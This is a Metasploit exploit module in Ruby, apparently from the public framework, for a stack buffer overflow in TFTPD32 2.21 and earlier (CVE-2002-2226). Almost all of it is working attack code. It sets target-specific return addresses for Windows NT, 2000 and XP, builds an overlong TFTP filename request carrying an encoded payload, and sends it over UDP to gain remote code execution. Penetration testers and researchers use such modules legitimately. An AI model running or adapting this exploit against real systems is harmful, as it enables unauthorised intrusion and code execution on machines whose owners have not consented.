TFTPD32 Long Filename Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'TFTPD32 Long Filename Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in TFTPD32 version 2.21
          and prior. By sending a request for an overly long file name
          to the tftpd32 server, a remote attacker could overflow a buffer and
          execute arbitrary code on the system.
        },
        'Author' => 'MC',
        'References' => [
          ['CVE', '2002-2226'],
          ['OSVDB', '45903'],
          ['BID', '6199'],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 250,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          ['Windows NT 4.0 SP6a English', { 'Ret' => 0x77f9d463 } ],
          ['Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec663 } ],
          ['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0 } ],
          ['Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527 } ],
        ],
        'Privileged' => true,
        'DisclosureDate' => '2002-11-19',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(69)
      ], self
    )
  end

  def exploit
    connect_udp

    print_status("Trying target #{target.name}...")

    sploit =
      "\x00\x01" +
      rand_text_english(120, payload_badchars) +
      "." +
      rand_text_english(135, payload_badchars) +
      [target.ret].pack('V') +
      payload.encoded +
      "\x00"

    udp_sock.put(sploit)

    disconnect_udp
  end
end